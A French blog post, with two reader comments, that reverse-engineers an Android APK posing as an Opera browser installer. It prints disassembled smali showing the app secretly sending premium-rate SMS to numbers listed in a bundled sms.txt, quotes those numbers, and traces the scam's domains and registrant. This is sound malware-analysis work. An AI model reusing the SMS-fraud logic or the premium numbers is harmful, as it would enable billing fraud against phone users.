Stats

  • Total des pages vues: 10283
  • Pages vues aujourd'hui: 212
  • Visiteurs connectés: 3
  • Nombre de visiteurs: 6213

Reverse de malware Android

Written by aaSSfxxx - 26 october 2011

Bonjour à tous!

Ayant analysé un malware Android (nommé operaandroidi14.apk) que j'ai téléchargé par hasard sur le Net, j'ai donc décidé d'expliquer comment reverser un malware android à partir d'un exemple concret.
Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.

Structure d'un fichier APK, et tools nécessaires

Une application Android est fichier .apk, qui, techniquement n'est qu'une archive .zip renomée. Cette archive contient quelques fichiers et dossiers qui nous intéresseront:

  • Le dossier res: Contient toutes les ressources (données) dont se sert l'application
  • Le fichier classes.dex: C'est le fichier qui contient tout le code compilé de l'application Android.
L'étude de notre malware va donc se focaliser sur ce fameux "classes.dex" ainsi que sur les ressources. Ce fichier contient du bytecode, qu'il va nous falloir désassembler à l'aide de baksmali (il vous faudra bien évidemment installer la JVM). On désassemblera le tout à l'aide de la commande, une fois avoir extrait l'archive APK:
java -jar baksmali-1.2.8.jar -s classes.dex
Cette commande nous génère un dossier "out", qui contient tout le code "smali" (une sorte d'assembleur pour le bytecode du JIT compiler d'Android) de notre application. Passons donc à l'analyse de cette application.

Reversing du malware

Si vous n'êtes sous Windows, je vous recommande fortement de lire cet article pour installer les commandes UNIX qui seront massivement utilisées dans ce cours.

On va commencer par rechercher le point d'entrée de l'application (repérable grâce à la méthode onCreate). On va donc utiliser un coup de "grep", qui nous informe que le fichier incriminé est out/com/registr/registrator/RegistratorActivity.smali, et le code de la fonction est:

Code SMALI :
  1. .method public onCreate(Landroid/os/Bundle;)V
  2.     .registers 4
  3.     .parameter "savedInstanceState"
  4.  
  5.     .prologue
  6.     .line 20
  7.     invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
  8.  
  9.     .line 21
  10.     const/high16 v0, 0x7f03
  11.  
  12.     invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->setContentView(I)V
  13.  
  14.     .line 23
  15.     const/high16 v0, 0x7f06
  16.  
  17.     invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;
  18.  
  19.     move-result-object v0
  20.  
  21.     check-cast v0, Landroid/widget/TextView;
  22.  
  23.     const v1, 0x7f040002
  24.  
  25.     invoke-direct {p0, v1}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;
  26.  
  27.     move-result-object v1
  28.  
  29.     invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
  30.  
  31.     .line 25
  32.     const v0, 0x7f060001
  33.  
  34.     invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;
  35.  
  36.     move-result-object v0
  37.  
  38.     new-instance v1, Lcom/registr/registrator/RegistratorActivity$1;
  39.  
  40.     invoke-direct {v1, p0}, Lcom/registr/registrator/RegistratorActivity$1;-><init>(Lcom/registr/registrator/RegistratorActivity;)V
  41.  
  42.     invoke-virtual {v0, v1}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V
  43.  
  44.     .line 33
  45.     return-void
  46. .end method
  47.  
Ce code initialise l'interface utilisateur de l'application, puis pose un ClickListener sur le bouton. On va donc regarder de plus près le listener, contenu dans out/com/registr/registrator/RegistratorActivity$1.smali. On peut aussi remarquer dans le code de RegistratorActivity.smali des méthodes nommées "sendAction" et "sendSMS", ce qui nous permet de deviner que l'application enverra des SMS à un moment ou un autre.

Examinons de plus près le code de RegistratorActivity$1.smali.

Code SMALI :
  1. .method public onClick(Landroid/view/View;)V
  2.     .registers 3
  3.     .parameter "v"
  4.  
  5.     .prologue
  6.     .line 30
  7.     iget-object v0, p0, Lcom/registr/registrator/RegistratorActivity$1;->this$0:Lcom/registr/registrator/RegistratorActivity;
  8.  
  9.     invoke-static {v0}, Lcom/registr/registrator/RegistratorActivity;->access$000(Lcom/registr/registrator/RegistratorActivity;)V
  10.  
  11.     .line 31
  12.     return-void
  13. .end method
Cette méthode appelle RegistratorActivity.access$000, qui a pour vocation d'appeler RegistratorActivity.sendAction, une des fonctions bizarres repérées à l'instant. Regardons donc de plus près cette fonction.
Code SMALI :
  1. .method private sendAction()V
  2.     .registers 10
  3.  
  4.     .prologue
  5.     .line 37
  6.     const v7, 0x7f040001  #load "sms" resource
  7.  
  8.     invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;
  9.  
  10.     move-result-object v6
  11.  
  12.     .line 39
  13.     .local v6, xml:Ljava/lang/String;
  14.     const-string v7, "item"
  15.  
  16.     invoke-static {v6, v7}, Lcom/registr/registrator/XMLParser;->getList(Ljava/lang/String;Ljava/lang/String;)Ljava/util/Vector;
  17.  
  18.     move-result-object v0
  19.  
  20.     .line 42
  21.     .local v0, EItemsXML:Ljava/util/Vector;,"Ljava/util/Vector<Ljava/lang/String;>;"
  22.     const/4 v1, 0x0
  23.  
  24.     .local v1, i:I
  25.   :goto_0
  26.     invoke-virtual {v0}, Ljava/util/Vector;->size()I
  27.  
  28.     move-result v7
  29.  
  30.     # ici, on parcourt tous les éléments de la liste  
  31.     if-ge v1, v7, :cond_0
  32.  
  33.     .line 44
  34.     invoke-virtual {v0, v1}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
  35.  
  36.     move-result-object v4
  37.  
  38.     check-cast v4, Ljava/lang/String;
  39.  
  40.     .line 45
  41.     .local v4, tmp:Ljava/lang/String;
  42.     const-string v7, "number"
  43.  
  44.     invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  45.  
  46.     move-result-object v2
  47.  
  48.     .line 46
  49.     .local v2, number:Ljava/lang/String;
  50.     const-string v7, "prefix"
  51.  
  52.     invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  53.  
  54.     move-result-object v3
  55.  
  56.     .line 48
  57.     .local v3, prefix:Ljava/lang/String;
  58.     invoke-direct {p0, v2, v3}, Lcom/registr/registrator/RegistratorActivity;->sendSMS(Ljava/lang/String;Ljava/lang/String;)V
  59.  
  60.     .line 42
  61.     add-int/lit8 v1, v1, 0x1
  62.  
  63.     goto :goto_0
  64.  
  65.     .line 52
  66.     .end local v2           #number:Ljava/lang/String;
  67.     .end local v3           #prefix:Ljava/lang/String;
  68.     .end local v4           #tmp:Ljava/lang/String;
  69.     :cond_0
  70.     const v7, 0x7f060001
  71.  
  72.     invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;
  73.  
  74.     move-result-object v7
  75.  
  76.     const/4 v8, 0x4
  77.  
  78.     invoke-virtual {v7, v8}, Landroid/view/View;->setVisibility(I)V
  79.  
  80.     .line 53
  81.     const/high16 v7, 0x7f06
  82.  
  83.     invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;
  84.  
  85.     move-result-object v5
  86.  
  87.     check-cast v5, Landroid/widget/TextView;
  88.  
  89.     .line 54
  90.     .local v5, tv:Landroid/widget/TextView;
  91.     const/high16 v7, 0x7f04
  92.  
  93.     invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;
  94.  
  95.     move-result-object v7
  96.  
  97.     invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
  98.  
  99.     .line 55
  100.     const/4 v7, 0x1
  101.  
  102.     invoke-static {v5, v7}, Landroid/text/util/Linkify;->addLinks(Landroid/widget/TextView;I)Z
  103.  
  104.     .line 56
  105.     return-void
  106. .end method
On voit clairement ici que le malware va récupérer la ressource id 0x7f040001, et parser le XML contenu à l'intérieur. Or, un coup de grep nous dit que la ressource 0x7f04001 appartient au fichier "sms.txt". Le malware va enfin passer en revue tous les numéros contenus dans la ressource, et envoyer un SMS à ces numéros, avant d'afficher le lien de téléchargement de l'APK.

Notre malware, lors du clic sur le bouton, va donc envoyer un SMS aux numéros contenus dans la ressource à l'insu de l'utilisateur, avant d'afficher le lien de téléchargement du "vrai" navigateur. 4 fun, je vous paste le contenu de sms.txt.

<item number="7495" prefix="amdetoi142f"/>
<item number="7495" prefix="amdetoi142s"/>
<item number="4446" prefix="amdetoi142"/>

Recherche d'informations

Le lien est stocké dans la ressource 0x7f040000, i.e link.txt, qui contient ce lien: hxxp://mini-opera-6.in/files/Opera_Mini_6_1_Android.apk. Un whois sur le domaine nous montre que ce domaine est enregistré au nom de Mikhail Denin, avec pour e-mail de contact whoismail2010@gmail.com. L'adresse IP du serveur est 188.95.54.32, qui possède 5 domaines: browserdupdate.biz, browsergupdate.com, browserfupdate.biz, browserxlupdate.com, opera-mini-6.net, pointant tous vers la même page. On peut donc conclure qu'il s'agit proablement d'une opération d'escroquerie destinée au public russe (les "conditions d'utilition" mentionnent une société nommée "Opera Soft" qui n'a aucune existence ...).

Mot de la fin: On peut voir que lorsqu'on tente d'installer l'application, celle-ci demande l'autorisation d'envoyer des SMS. Une question se pose alors: pourquoi un navigateur web (ou une appli devant l'installer) aurait besoin d'envoyer un SMS? Il faut donc TOUJOURS vérifier les autorisations des applications.
That's all folks ! :þ

Classified in : Malwares - Tags : none

thursday 27 october 2011 @ 13:47 galex-713 said : #1

Avatar Gravatarmais les appli android sont prog en quel langage ? il est interprété ?

thursday 27 october 2011 @ 14:31 aaSSfxxx said : #2

Avatar Gravatar@galex-713 : Les applis sont programmées en java principalement, cependant ce n'est pas du bytecode JVM qui est généré: c'est la machine virtuelle Dalvik interne à Android qui se charge d'exécuter le tout.

Comments are closed.